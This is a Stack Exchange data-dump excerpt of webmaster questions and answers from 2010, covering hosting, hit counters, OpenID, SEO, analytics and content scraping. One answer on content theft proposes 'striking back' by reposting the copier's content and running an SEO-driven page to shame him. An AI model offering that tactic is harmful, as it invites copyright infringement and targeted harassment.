  <row Id="7053" PostHistoryTypeId="2" PostId="3604" RevisionGUID="eb0691ed-c6c4-49ac-9ff4-25e5bddd281b" CreationDate="2010-10-07T12:55:51.250" UserId="2239" Text="On the occasion of a new website, I'm looking for a reliable and inexpensive company to host a big volume of movies and pictures.&#xD;&#xA;&#xD;&#xA;I need around 1To to start knowing that it will grow each day.&#xD;&#xA;&#xD;&#xA;Do you have any company to advise ?&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="7054" PostHistoryTypeId="1" PostId="3604" RevisionGUID="eb0691ed-c6c4-49ac-9ff4-25e5bddd281b" CreationDate="2010-10-07T12:55:51.250" UserId="2239" Text="Host multimedia content" />
  <row Id="7055" PostHistoryTypeId="3" PostId="3604" RevisionGUID="eb0691ed-c6c4-49ac-9ff4-25e5bddd281b" CreationDate="2010-10-07T12:55:51.250" UserId="2239" Text="&lt;web-hosting&gt;&lt;storage&gt;" />
  <row Id="7056" PostHistoryTypeId="2" PostId="3605" RevisionGUID="b4c9e1d3-7a00-4f96-8c9c-d88772bd37d2" CreationDate="2010-10-07T13:47:01.900" UserId="233" Text="Have you even tried Googling &quot;php chat&quot;? When I do that there are several viable options:&#xD;&#xA;&#xD;&#xA;* http://www.phpfreechat.net/&#xD;&#xA;* http://www.phpopenchat.org/&#xD;&#xA;* Even more at http://www.hotscripts.com/category/php/scripts-programs/chat-scripts/&#xD;&#xA;&#xD;&#xA;If you mean you want one that works exactly like the Stack Overflow chat... well you're probably out of luck, since that was custom developed for SO. You should be able to modify any of the apps above to look like SO chat." />
  <row Id="7057" PostHistoryTypeId="5" PostId="3596" RevisionGUID="f4ae59f6-0a34-45e0-8596-c6bcbc26301b" CreationDate="2010-10-07T14:03:49.937" UserId="252" Comment="added version number information" Text="I would like to be able to specify some meta keywords and meta descriptions for some of my pages in our Drupal (version 6) site. However, there does not appear to be a way to do that within Drupal (at least out of the box). I've seen some references to some Drupal modules which might allow you to do this, but it doesn't look like they've been updated in a long time. Any suggestions?&#xD;&#xA;&#xD;&#xA;As a correlary, if meta keywords and meta descriptions really aren't worth bothering with any more, is there a way I can tell Hubspot to stop reminding me to add them? :)" />
  <row Id="7058" PostHistoryTypeId="2" PostId="3606" RevisionGUID="55c4629e-3dcf-44be-9aef-59f69019eda5" CreationDate="2010-10-07T14:21:49.113" UserId="721" Text="I got a feeling a client is going to ask me to implement a counter to show how many visitors visited the site. To me it looks very unprofessional but the next question the client is going to ask will be 'why?'. &#xD;&#xA;&#xD;&#xA;So what's a good reason to not implement this besides &quot;it's unprofessional&quot;." />
  <row Id="7059" PostHistoryTypeId="1" PostId="3606" RevisionGUID="55c4629e-3dcf-44be-9aef-59f69019eda5" CreationDate="2010-10-07T14:21:49.113" UserId="721" Text="Counter on website (visitors)" />
  <row Id="7060" PostHistoryTypeId="3" PostId="3606" RevisionGUID="55c4629e-3dcf-44be-9aef-59f69019eda5" CreationDate="2010-10-07T14:21:49.113" UserId="721" Text="&lt;website-design&gt;&lt;website-features&gt;" />
  <row Id="7061" PostHistoryTypeId="2" PostId="3607" RevisionGUID="e2956193-c60e-4fcd-a930-5f493354e033" CreationDate="2010-10-07T14:24:04.737" UserId="233" Text="Your header and footer are very large in total 202 KB. If you reduce the JPEG quality parameter when saving the images, you can probably get that down to 150 KB or even 100 KB without a noticeable loss in quality.&#xD;&#xA;&#xD;&#xA;Another option is to split the header into two parts, one with the detailed graphics like the dice splashing in the water, then another with the &quot;solid colour&quot; blocks. Save the second part as PNG and you may make savings there. If possible, reduce to 256 colours (you can almost certainly do this with the footer).&#xD;&#xA;&#xD;&#xA;I also noticed that the header/footer were being served as `application/octet-stream`. (If you open [the image directly][1] you are prompted to download it.) I don't know if this makes a difference but I would use try to use the appropriate image mime types like `image/jpeg`. It's possible the browser is downloading the whole file before knowing exactly what type it is.&#xD;&#xA;&#xD;&#xA;Failing all this, you could use a Javascript trick to load the images last. Move the CSS rules for the background images into two separate CSS classes, but don't add them to the HTML. (Now when the page loads the images do not show.) Use Javascript to add those classes once the page is loaded.&#xD;&#xA;&#xD;&#xA;  [1]: http://plugins.svn.wordpress.org/amty-thumb-recent-post/amty-thumb-recent-post/tags/2.0/header.jpg" />
  <row Id="7062" PostHistoryTypeId="2" PostId="3608" RevisionGUID="4b38ed54-a8f0-452c-b50b-e930e5257ad7" CreationDate="2010-10-07T14:32:45.390" UserId="2059" Text="I would instead talk up the benefits of integrating analytics from a third party (google analytics, for instance).  Show them all the metrics they'll be getting other than just a simple user count and explain to them that these stats are all kept off the front end of the website.  A little redirection can't hurt." />
  <row Id="7063" PostHistoryTypeId="2" PostId="3609" RevisionGUID="3d65f45f-163d-4e39-8ecb-c45f133507f8" CreationDate="2010-10-07T14:41:30.250" UserId="233" Text="A *visible* web counter is useless information for visitors. Why would they care exactly how many people visited a page? The user didn't come to the page to find out how many visitors it has. Counters are usually out of context, too. If you see a page has had 2,300 visitors, what does that mean? 2,300 visitors today? This week? Since 1996?&#xD;&#xA;&#xD;&#xA;Furthermore, it does not look good on a company if it appears very few people are visiting their website. Why would you broadcast that statistic?&#xD;&#xA;&#xD;&#xA;However, that's not to say visitor numbers are completely irrelevant. A list of 'most popular articles,' for example, is a useful feature. But most users won't care if those pages have 500 visitors or 5 million.&#xD;&#xA;&#xD;&#xA;And of course, some kind of statistics visible to only the site owners (like Google Analytics) is vital." />
  <row Id="7064" PostHistoryTypeId="2" PostId="3610" RevisionGUID="d7e7f21f-c2e6-42f9-9e38-f42874dd5e9a" CreationDate="2010-10-07T15:55:51.153" UserDisplayName="Wiskin" Text="I have my own domain signed-up under myOpenID as follows:&#xD;&#xA;&#xD;&#xA;    openid.mysite.com&#xD;&#xA;&#xD;&#xA;Everything is verified and seems to be working properly on the myOpenID site. However, now I want to setup my website so I only have to enter the domain name as my openID login.&#xD;&#xA;&#xD;&#xA;I have read http://blog.stackoverflow.com/2009/01/using-your-own-url-as-your-openid/ and understand the basic concept using header link tags. However, instead of...&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;openid.server&quot; href=&quot;http://www.myopenid.com/server&quot;&gt;&#xD;&#xA;    &lt;link rel=&quot;openid.delegate&quot; href=&quot;http://username.myopenid.com/&quot;&gt;&#xD;&#xA;&#xD;&#xA;I want to use my own site for the openid.delegate as follows...&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;openid.server&quot; href=&quot;http://www.myopenid.com/server&quot; /&gt;&#xD;&#xA;    &lt;link rel=&quot;openid.delegate&quot; href=&quot;http://openid.example.com/username&quot; /&gt;&#xD;&#xA;&#xD;&#xA;And this works on my site with no problems! However, I only plan to have one user authenticated through my site, me. I do not plan on having any other users, so I would simply like to have...&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;openid.server&quot; href=&quot;http://www.myopenid.com/server&quot; /&gt;&#xD;&#xA;    &lt;link rel=&quot;openid.delegate&quot; href=&quot;http://openid.example.com&quot; /&gt;&#xD;&#xA;&#xD;&#xA;...note the lack of username in the openid.delegate href. I want to do this not only for a shorter link href, but also so I don't have to make a domain account on myopenid.com, adding yet another login, etc.&#xD;&#xA;&#xD;&#xA;Does that make sense? Is this possible?&#xD;&#xA;&#xD;&#xA;Thanks in advance!" />
  <row Id="7065" PostHistoryTypeId="1" PostId="3610" RevisionGUID="d7e7f21f-c2e6-42f9-9e38-f42874dd5e9a" CreationDate="2010-10-07T15:55:51.153" UserDisplayName="Wiskin" Text="How do I use my own domain for my own openID login without having to make a myopenid domain account?" />
  <row Id="7066" PostHistoryTypeId="3" PostId="3610" RevisionGUID="d7e7f21f-c2e6-42f9-9e38-f42874dd5e9a" CreationDate="2010-10-07T15:55:51.153" UserDisplayName="Wiskin" Text="&lt;openid&gt;" />
  <row Id="7067" PostHistoryTypeId="2" PostId="3611" RevisionGUID="e6a14aec-d534-48d6-ba2f-cd9c020ab10d" CreationDate="2010-10-07T15:57:11.567" UserId="2177" Text="I just stumbled across http://colorschemedesigner.com/.&#xD;&#xA;&#xD;&#xA;It's great for choosing colors and will show you example pages to see what the color scheme would look like applied to a typical page." />
  <row Id="7072" PostHistoryTypeId="2" PostId="3613" RevisionGUID="96a93747-cd5e-43d3-accf-1fdbe9e267c1" CreationDate="2010-10-07T16:17:40.230" UserId="1953" Text="I'd ask what they plan to use it for. If it is for their own visitor tracking knowledge, explain there are plenty of more accurate tools (such as Google analytics mentioned above) that can also give you much more detail. &#xD;&#xA;&#xD;&#xA;If it's to show off how much traffic their site gets, I'd suggest showing them sites like compete.com so they can see how much traffic they get compared to competitors.&#xD;&#xA;&#xD;&#xA;If it's because they think it looks cool... well... they probably won't listen to reason.&#xD;&#xA;&#xD;&#xA;On a side note if they want you to add one of the free hit counters I'd check it to make sure it's not injecting hidden links. Giving away free software (such as hit counters) that have a hidden link in the embed code is an easy way for spammers to build links to their websites." />
  <row Id="7073" PostHistoryTypeId="2" PostId="3614" RevisionGUID="b02fc699-6141-44de-afeb-35f7c1856fe7" CreationDate="2010-10-07T16:56:16.830" UserId="2200" Text="So here is a crazy example that represents a problem I have:&#xD;&#xA;&#xD;&#xA;I have a company that makes different applications for a specific type of business.  I currently have awesomesoftware.com/coolwidget for each of the apps (actually, there is only 1 for now, but there will soon be more).  Awesomesoftware.com and coolwidget is made for the wheeliechair industry, so people searching for wheeliechairs will not search for &quot;awesomesoftware&quot; or &quot;coolwidget&quot;.  They will search for &quot;wheeliechairs&quot; though, so I also own wheeliechairs.net in hopes that it gives me an edge with google.  I also host my client's instances of coolwidget at clientname.wheeliechairs.net.  Finally, I have a blog that is not about awesomesoftware, or coolwidget, or even wheeliechairs... but its a blog that is relevant to people who own wheeliechairs businesses that need coolwidget, so the blog is intended to bring leads and links to awesomesoftware so they can sell them coolwidget. &#xD;&#xA;&#xD;&#xA;So how should I organize this to get the most SEO?  &#xD;&#xA;&#xD;&#xA;Currently wheeliechair.net has a 301 redirect to awesomesoftware.com/coolwidget, and the blog is hosted at blog.wheeliechair.net with links to awesomesoftware.com/coolwidget.  How would you do it?" />
  <row Id="7074" PostHistoryTypeId="1" PostId="3614" RevisionGUID="b02fc699-6141-44de-afeb-35f7c1856fe7" CreationDate="2010-10-07T16:56:16.830" UserId="2200" Text="SEO and multiple product webpages" />
  <row Id="7075" PostHistoryTypeId="3" PostId="3614" RevisionGUID="b02fc699-6141-44de-afeb-35f7c1856fe7" CreationDate="2010-10-07T16:56:16.830" UserId="2200" Text="&lt;seo&gt;" />
  <row Id="7076" PostHistoryTypeId="2" PostId="3615" RevisionGUID="4cb8f7c2-503f-4a4b-b034-3c83650a25cd" CreationDate="2010-10-07T20:01:54.283" UserId="1762" Text="Can I track the click of every link, button, dropdown select, etc. on a screen and have it be tracked in Google Analytics?&#xD;&#xA;&#xD;&#xA;I want to create a page and collect data on which widget the users use most.&#xD;&#xA;&#xD;&#xA;What about AJAX stuff?  What if you're using jQuery or Mootools...can you get the functions to register a fake URL with GA based on user interaction? I use to do this with Flash. Everytime you click a button, it can initiate a fake URL request. I would make urls such as &quot;.../customize/eyes/&quot; or &quot;.../customize/nose&quot;, etc. Just wondering if I can do that with Javascript on the page." />
  <row Id="7077" PostHistoryTypeId="1" PostId="3615" RevisionGUID="4cb8f7c2-503f-4a4b-b034-3c83650a25cd" CreationDate="2010-10-07T20:01:54.283" UserId="1762" Text="Google Analytics - how to track clicks on a screen?" />
  <row Id="7078" PostHistoryTypeId="3" PostId="3615" RevisionGUID="4cb8f7c2-503f-4a4b-b034-3c83650a25cd" CreationDate="2010-10-07T20:01:54.283" UserId="1762" Text="&lt;google-analytics&gt;" />
  <row Id="7079" PostHistoryTypeId="2" PostId="3616" RevisionGUID="33a4dc56-c029-4243-b88c-565b096e632e" CreationDate="2010-10-07T20:07:33.723" UserDisplayName="jeet" Text="&#xD;&#xA;why did not **docxconverter.com** show up when I type **docx converter** in **google**. The closest match is **www.docx-converter.com**.&#xD;&#xA;&#xD;&#xA;My question 1 : What are the reasons for **www.docxconverter.com** not showing up?&#xD;&#xA;&#xD;&#xA;My question 2 : Which among the domain **www.docxconverter.com** and **www.docx-converter.com** is friendly with keyword phrase docx converter? and **Why?**&#xD;&#xA;" />
  <row Id="7080" PostHistoryTypeId="1" PostId="3616" RevisionGUID="33a4dc56-c029-4243-b88c-565b096e632e" CreationDate="2010-10-07T20:07:33.723" UserDisplayName="jeet" Text="key word research - Please consider key word phrase - docx converter in google" />
  <row Id="7081" PostHistoryTypeId="3" PostId="3616" RevisionGUID="33a4dc56-c029-4243-b88c-565b096e632e" CreationDate="2010-10-07T20:07:33.723" UserDisplayName="jeet" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;&lt;research&gt;" />
  <row Id="7082" PostHistoryTypeId="2" PostId="3617" RevisionGUID="cafde97d-e4eb-4fd9-bf20-32be2f396436" CreationDate="2010-10-07T20:21:36.520" UserId="1373" Text="I'm searching for a todo-list application like this one http://diggan.se/todo/ but with a function so the users could add todo's that would look like requests. Me (the webmaster) can later choose which request I should start working on or trash another request. The application should be for small projects.&#xD;&#xA;&#xD;&#xA;Thanks ahead, Victor!" />
  <row Id="7083" PostHistoryTypeId="1" PostId="3617" RevisionGUID="cafde97d-e4eb-4fd9-bf20-32be2f396436" CreationDate="2010-10-07T20:21:36.520" UserId="1373" Text="Todo with user input" />
  <row Id="7084" PostHistoryTypeId="3" PostId="3617" RevisionGUID="cafde97d-e4eb-4fd9-bf20-32be2f396436" CreationDate="2010-10-07T20:21:36.520" UserId="1373" Text="&lt;php&gt;" />
  <row Id="7085" PostHistoryTypeId="2" PostId="3618" RevisionGUID="67e4809d-5355-46fb-81ce-f21e16a47796" CreationDate="2010-10-07T20:43:30.533" UserId="43" Text="I have a client considering using a .us domain name. Are there any particular reasons, other than familiarity, not to use a .us name? In this case, the site visitors will likely be mostly non-us based - is it possible that this could mitigate any familiarity issues (with more international users being used to seeing non-.com domains)? Are there any SEO reasons not to use a .us name?" />
  <row Id="7086" PostHistoryTypeId="1" PostId="3618" RevisionGUID="67e4809d-5355-46fb-81ce-f21e16a47796" CreationDate="2010-10-07T20:43:30.533" UserId="43" Text="What are the reasons not to use a .us domain name?" />
  <row Id="7087" PostHistoryTypeId="3" PostId="3618" RevisionGUID="67e4809d-5355-46fb-81ce-f21e16a47796" CreationDate="2010-10-07T20:43:30.533" UserId="43" Text="&lt;domains&gt;&lt;top-level-domains&gt;" />
  <row Id="7088" PostHistoryTypeId="2" PostId="3619" RevisionGUID="6d7a3686-6226-41ef-b525-e2fe92e86fc6" CreationDate="2010-10-07T20:44:24.537" UserId="2200" Text="&gt;Amazon S3 is storage for the Internet. It is designed to make web-scale computing easier for developers.&#xD;&#xA;&#xD;&#xA;&gt;Amazon S3 provides a simple web services interface that can be used to store and retrieve any amount of data, at any time, from anywhere on the web. It gives any developer access to the &gt;same highly scalable, reliable, secure, fast, inexpensive infrastructure that Amazon uses to &gt;run its own global network of web sites. The service aims to maximize benefits of scale and &gt;to pass those benefits on to developers.&#xD;&#xA;&#xD;&#xA;http://aws.amazon.com/s3/" />
  <row Id="7089" PostHistoryTypeId="2" PostId="3620" RevisionGUID="591b2c95-02be-449e-98c4-13eb090235d1" CreationDate="2010-10-07T20:55:09.447" UserId="288" Text="It terms of public perception I think the domain is becoming less and less relevant. There are (at least) two factors at play here.&#xD;&#xA;&#xD;&#xA;Firstly, I'm seeing more and more adverts for companies that simply say &quot;search [terms]&quot; when the company wants to direct you to a web site. This means that the user isn't typing the site name and so is less likely to notice what it actually is. Witness people trying to log into a blog about Facebook thinking it *was* facebook.&#xD;&#xA;&#xD;&#xA;Secondly, when domains are mentioned they are often vanity URLs such as &quot;five.tv&quot; (here in the UK).&#xD;&#xA;&#xD;&#xA;Thirdly, there has been an expansion of TLDs recently.&#xD;&#xA;&#xD;&#xA;As for the SEO side of things, I would have thought that it's the content and incoming links that are important rather than the domain - but I'm willing to be proved wrong on that." />
  <row Id="7090" PostHistoryTypeId="2" PostId="3621" RevisionGUID="d5d8784e-f379-4334-84e1-5d6c04dc3c82" CreationDate="2010-10-07T21:25:54.503" UserId="1253" Text="See this [Question &amp; Answer][1] for how the TLD affects SEO.&#xD;&#xA;&#xD;&#xA;If the site's visitors are going to be international I don't see why your client would choose a .us domain name. Although the meaning of TLDs does seem to be less meaningful then in the past it still does have some meaning. It's likely that some users will see the .us TLD and be confused or concerned (depending on the content). Just doing it for SEO purposes would be neglecting the user which is always a bad idea. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/2330/does-google-penalize-me-or-tv-sites/" />
  <row Id="7091" PostHistoryTypeId="2" PostId="3622" RevisionGUID="0b43ed10-4f60-4e50-be3e-0bf59b549719" CreationDate="2010-10-07T21:31:47.270" UserId="108" Text="There are a number of ways to do that.  To begin with Google already tracks each click you make on a link on a page.  In Google Analytics go to Content&gt;Site Overlay&#xD;&#xA;&#xD;&#xA; 1. Use the Function PageView for Google Analytics http://code.google.com/apis/analytics/docs/tracking/asyncUsageGuide.html. This can be somewhat poor&#xD;&#xA; 2. Tools like [CrazyEgg][1] track specifically where each click occurs on the page, even within the link itself.  The only major downsides are that it costs money and that it has some issues with AJAX enabled code and correctly marking where someone has clicked.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.crazyegg.com" />
  <row Id="7092" PostHistoryTypeId="2" PostId="3623" RevisionGUID="77decd47-74ac-40d4-a97b-d03f0f887584" CreationDate="2010-10-07T22:09:35.100" UserId="2227" Text="how about 37signals Tada list:&#xD;&#xA;http://tadalist.com/" />
  <row Id="7093" PostHistoryTypeId="2" PostId="3624" RevisionGUID="00f73052-df95-4786-b1a8-2451b737505c" CreationDate="2010-10-07T22:15:41.133" UserId="1240" Text="I am the webmaster of a very successful blog in a fairly small niche.  Recently our success has started to bite us with people copying posts on the site without consent and trying to pass them off as their own work.&#xD;&#xA;&#xD;&#xA;Most sites stop as soon as you contact them but there is one in particular that is a blogger site which persists in passing off our content as their own.  Every post we find we report to Google and they have been fairly good at taking the posts offline within a day or two but this isn't good enough or a long term solution.&#xD;&#xA;&#xD;&#xA;Given the nature of what is being blogged about after 24 hours the post is pretty much useless so I need some way to just stop them from taking our content?&#xD;&#xA;&#xD;&#xA;Any ideas?  I don't want to go down the route of using a third party for people to get our RSS feed but I guess that is one option?" />
  <row Id="7094" PostHistoryTypeId="1" PostId="3624" RevisionGUID="00f73052-df95-4786-b1a8-2451b737505c" CreationDate="2010-10-07T22:15:41.133" UserId="1240" Text="Content theft - Where can I go from here?" />
  <row Id="7095" PostHistoryTypeId="3" PostId="3624" RevisionGUID="00f73052-df95-4786-b1a8-2451b737505c" CreationDate="2010-10-07T22:15:41.133" UserId="1240" Text="&lt;content&gt;&lt;rss&gt;" />
  <row Id="7096" PostHistoryTypeId="2" PostId="3625" RevisionGUID="5618c51b-5266-4f1b-9721-03062c94582c" CreationDate="2010-10-07T22:37:30.367" UserId="1240" Text="I think you have the right idea, although is it not a bit odd that if I find a product at awesomesoftware/coolwidget and sign up that I then access it from myName.wheeliechairs.net&#xD;&#xA;&#xD;&#xA;Would it not be better to keep awesomesoftware as your corporate head quarters then set up something like...&#xD;&#xA;&#xD;&#xA; - demo.wheeliechairs.net/widget1&#xD;&#xA; - demo.wheeliechairs.net/widget2&#xD;&#xA; - customer1.wheelechairs.net/widget1&#xD;&#xA; - ... &#xD;&#xA; - ...&#xD;&#xA;&#xD;&#xA;As wheeliechairs are your domain it makes sense that this is the domain name.&#xD;&#xA;&#xD;&#xA;The blog sounds like it should have it's own domain name (and on a different server for better SEO).&#xD;&#xA;&#xD;&#xA;I would remove the 301 redirect, no one likes to be thrown about the place.&#xD;&#xA;&#xD;&#xA;Hopefully this makes some sense!..." />
  <row Id="7097" PostHistoryTypeId="2" PostId="3626" RevisionGUID="1f965de6-8f5d-429b-a6f7-7abaf2267722" CreationDate="2010-10-07T22:49:07.523" UserId="745" Text="Personally, I wouldn't worry too much about it. Just make sure the benefit of stopping them outweighs the time spent trying to do it. It can easily be a losing battle, even if you win. That said, there are a few options available to you.&#xD;&#xA;&#xD;&#xA; - Find out if they are copying from&#xD;&#xA;   your RSS feed or scraping your page.&#xD;&#xA;   Add an user-friendly excerpts with&#xD;&#xA;   links back to the original article&#xD;&#xA;   and other articles on your site&#xD;&#xA;   within your text. If they're scraping&#xD;&#xA;   from RSS, just do that for the feed. You can also put your affiliate links, your products, your services, and your ads in the body text.&#xD;&#xA; - Use .htaccess to prevent hotlinking&#xD;&#xA;   of your images or to put your chosen&#xD;&#xA;   image in place instead (think: this&#xD;&#xA;   article was stolen from mysite.com or&#xD;&#xA;   something to that effect).&#xD;&#xA; - Try to isolate the IP address of&#xD;&#xA;   their scraper and block it.&#xD;&#xA; - Continue reporting to Google. Also, if they are serving AdSense or have any form of advertising on their site, report them to their advertiser and hit them where it hurts.&#xD;&#xA; - Find their host and try to contact&#xD;&#xA;   them about it.&#xD;&#xA; - Get a lawyer.&#xD;&#xA;&#xD;&#xA;Of the options above, pick the low-hanging fruit, the one-time things, first. A lawyer should be a last resort." />
  <row Id="7098" PostHistoryTypeId="2" PostId="3627" RevisionGUID="d109cd6f-1e40-4545-9026-1cffc61b7cd0" CreationDate="2010-10-07T23:39:25.897" UserId="138" Text="The main issue I see with it is that `.us` is not immediately recognisable as a domain name. Regarding Ayyash's comment, `del.icio.us` in no way resembles any URL that most people are familiar with.&#xD;&#xA;&#xD;&#xA;You'll find the same problem with `.in` if you're not Indian, `.to` if you're not Tongan, etc etc" />
  <row Id="7099" PostHistoryTypeId="2" PostId="3628" RevisionGUID="cd3d5645-6845-4aeb-adad-fd5e9d852565" CreationDate="2010-10-08T01:09:15.827" UserId="680" Text="I've had good success with [Hover][1] part of Tucows. They have phone and email support that are really helpful and no upselling.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.hover.com/" />
  <row Id="7100" PostHistoryTypeId="16" PostId="3628" RevisionGUID="cd3d5645-6845-4aeb-adad-fd5e9d852565" CreationDate="2010-10-08T01:09:15.827" UserId="-1" />
  <row Id="7101" PostHistoryTypeId="5" PostId="3615" RevisionGUID="f6298edc-b2e5-4688-a8aa-38c508492f3a" CreationDate="2010-10-08T01:56:26.713" UserId="1762" Comment="added 147 characters in body" Text="Can I track the click of every link, button, dropdown select, etc. on a screen and have it be tracked in Google Analytics?&#xD;&#xA;&#xD;&#xA;I want to create a page and collect data on which widget the users use most.&#xD;&#xA;&#xD;&#xA;What about AJAX stuff?  What if you're using jQuery or Mootools...can you get the functions to register a fake URL with GA based on user interaction? I use to do this with Flash. Everytime you click a button, it can initiate a fake URL request. I would make urls such as &quot;.../customize/eyes/&quot; or &quot;.../customize/nose&quot;, etc. Just wondering if I can do that with Javascript on the page.&#xD;&#xA;&#xD;&#xA;I've also [posted at StackOverflow][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/3884898/google-analytics-how-to-track-clicks-on-a-screen" />
  <row Id="7102" PostHistoryTypeId="2" PostId="3629" RevisionGUID="30ea8ccb-fbd4-42a6-a88e-52f5ee632377" CreationDate="2010-10-08T03:31:37.497" UserId="252" Text="Our Drupal site supports multiple languages and I would like to allow our language experts the ability to customize the individual pages, but I would like to avoid giving them access to the English language originals. Is such a thing possible?" />
  <row Id="7103" PostHistoryTypeId="1" PostId="3629" RevisionGUID="30ea8ccb-fbd4-42a6-a88e-52f5ee632377" CreationDate="2010-10-08T03:31:37.497" UserId="252" Text="Is it possible to create a role in Drupal which only has permission to edit pages in a certain language?" />
  <row Id="7104" PostHistoryTypeId="3" PostId="3629" RevisionGUID="30ea8ccb-fbd4-42a6-a88e-52f5ee632377" CreationDate="2010-10-08T03:31:37.497" UserId="252" Text="&lt;drupal&gt;&lt;i18n&gt;" />
  <row Id="7105" PostHistoryTypeId="2" PostId="3630" RevisionGUID="f9d62301-8cec-4b1a-81ad-bee3aaeeffae" CreationDate="2010-10-08T04:40:20.267" UserId="1074" Text="I'd personally do a whois on their domain name, which will give you the name of the offender's host.  Contact the host and inform them that they're hosting stolen content, preferably with a cease and desist on the letterhead of the meanest attorney you can afford.  Problem solved.&#xD;&#xA;&#xD;&#xA;There is software that could mess with his efforts to copy-paste.  For instance, you could simply do a javascript disable on the right mouse button and the &quot;c&quot; key while they're on your site which would make life difficult, but not impossible.  Tyny (http://www.tynt.com/) is a piece of software that appends urls to the end of copied content, which I bet could be done by hand with javascript if you were decent at writing code.&#xD;&#xA;&#xD;&#xA;Of course there's always that time-honored and not-entirely-legal tradition of striking back.  Post some of --his-- content on your site with a big highlighted note that you're sick of his site's constant ripoff of your work.  Or, put up a page that tells why he's a hack and is unethical and then SEO the living daylights out of it so it becomes the top rank on google when you search his site....tell the whole story and prove evidence to shame him with your readers.&#xD;&#xA;&#xD;&#xA;Unfortunate that hackers are never from little tiny outposts that you can just block outright....." />
  <row Id="7106" PostHistoryTypeId="2" PostId="3631" RevisionGUID="55591578-669c-48eb-beb1-39a7d2ff2f8d" CreationDate="2010-10-08T04:51:18.393" UserId="2026" Text=" 1. Use interlinks. So visitors need to&#xD;&#xA;    refer other article to understand an&#xD;&#xA;    article completely. It also helps&#xD;&#xA;    categorization&#xD;&#xA; 2. Make your own examples. And refer&#xD;&#xA;    your site everywhere like&#xD;&#xA;    http://article-stack.com/education/smart-learning/regular-expressions-common-elements-part-1.amty&#xD;&#xA; 3. Better to put example images which&#xD;&#xA;    describe steps or procedure and&#xD;&#xA;    contains your logo.&#xD;&#xA; 4. Cliam your contents using&#xD;&#xA;    https://myows.com/ or CreativeCommns&#xD;&#xA; 5. Use copyscape.com to search who is&#xD;&#xA;    stealing your contents&#xD;&#xA; 6. Write up a [letter politly][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://labnol.blogspot.com/2007/09/dmca-notice-of-copyright-infringement.html" />
  <row Id="7107" PostHistoryTypeId="2" PostId="3632" RevisionGUID="1659186f-105c-4b71-aae3-f21804cb6d90" CreationDate="2010-10-08T04:52:27.900" UserId="1078" Text="I use both [omnis][1] and [godaddy][2] and generally happy with them&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.omnis.com&#xD;&#xA;  [2]: http://www.godaddy.com" />
  <row Id="7108" PostHistoryTypeId="16" PostId="3632" RevisionGUID="1659186f-105c-4b71-aae3-f21804cb6d90" CreationDate="2010-10-08T04:52:27.900" UserId="-1" />
  <row Id="7109" PostHistoryTypeId="2" PostId="3633" RevisionGUID="56f24379-f3a3-495a-b48e-621a7fa77568" CreationDate="2010-10-08T04:56:03.407" UserId="1757" Text="The traditional personal homepage counter is unprofessional, but a lot of large sites and commercial services use counters to show how popular they are (yes, it's the bandwagon fallacy, but it works).&#xD;&#xA;&#xD;&#xA;Usually, it's something like&#xD;&#xA;&#xD;&#xA;    *Over 2500 design companies have signed up for our wireframing service.*&#xD;&#xA;    [logos of the biggest companies]&#xD;&#xA;&#xD;&#xA;    *278,046 users are currently signed on*&#xD;&#xA;&#xD;&#xA;    *56,2118 galleries hosted.*&#xD;&#xA;&#xD;&#xA;    *200,000 videos posted.*&#xD;&#xA;&#xD;&#xA;etc.&#xD;&#xA;&#xD;&#xA;Plain traffic statistics generally aren't worth advertising, but if your application has just grown from a small open beta to having 5 million hits a day, then you may want to celebrate that on your homepage for a few weeks.&#xD;&#xA;&#xD;&#xA;One of the few exceptions is if your website is for a cause. Then a hit counter may be relevant and interesting to people. It's a good measure of how much support and interest the cause is getting." />
  <row Id="7110" PostHistoryTypeId="5" PostId="3633" RevisionGUID="7be4c758-9342-41b2-8b22-6c626960f6cb" CreationDate="2010-10-08T05:01:24.473" UserId="1757" Comment="expand" Text="The traditional personal homepage counter is unprofessional, but a lot of large sites and commercial services use counters to show how popular they are (yes, it's the bandwagon fallacy, but it works).&#xD;&#xA;&#xD;&#xA;Usually, it's something like&#xD;&#xA;&#xD;&#xA;    *Over 2500 design companies have signed up for our wireframing service.*&#xD;&#xA;    [logos of the biggest companies]&#xD;&#xA;&#xD;&#xA;    *278,046 users are currently signed on*&#xD;&#xA;&#xD;&#xA;    *56,2118 galleries hosted.*&#xD;&#xA;&#xD;&#xA;    *200,000 videos posted.*&#xD;&#xA;&#xD;&#xA;etc.&#xD;&#xA;&#xD;&#xA;The first example shows that a service/product is endorsed by many in the industry, which could pique the visitor's interest and inspire confidence. The second would be useful on a social network, since social networks are useless unless they're popular. The third and forth show that a service is both popular and robust, as well as showing off how much content the site has.&#xD;&#xA;&#xD;&#xA;Plain traffic statistics generally aren't worth advertising, but if your application has just grown from a small open beta to having 5 million hits a day, then you may want to celebrate that on your homepage for a few weeks.&#xD;&#xA;&#xD;&#xA;One of the few exceptions is if your website is for a cause. Then a hit counter may be relevant and interesting to people. It's a good measure of how much support and interest the cause is getting." />
  <row Id="7111" PostHistoryTypeId="2" PostId="3634" RevisionGUID="aa729752-1c71-4525-aa59-309d37eb967f" CreationDate="2010-10-08T05:09:20.363" UserId="1757" Text="Take a look at the IPs connected to the spam posts. Secondly, filter your logs for that IP. Then you'll be able to see exactly what the bots are doing and find patterns.&#xD;&#xA;&#xD;&#xA;It may be that the spam bots are even circumventing your anti-spam mechanisms completely. What forum software are you using? Is the software up to date?&#xD;&#xA;&#xD;&#xA;Also, you could stop new users from posting links or URLs and enable peer moderation (or at least let users flag posts as spam). This won't keep spam out completely, but should keep spam levels down to a minimum. Also, you can use PHP to generate images from text, so you can just generate a random math problem each time.&#xD;&#xA;&#xD;&#xA;Finally, where are you implementing the anti-bot mechanisms? Just on sign up? What is the average post count of the spam accounts? If the post counts are high, then your moderators aren't doing their job, and the spammer is able to sign up for 1 or 2 accounts manually and then spam away." />
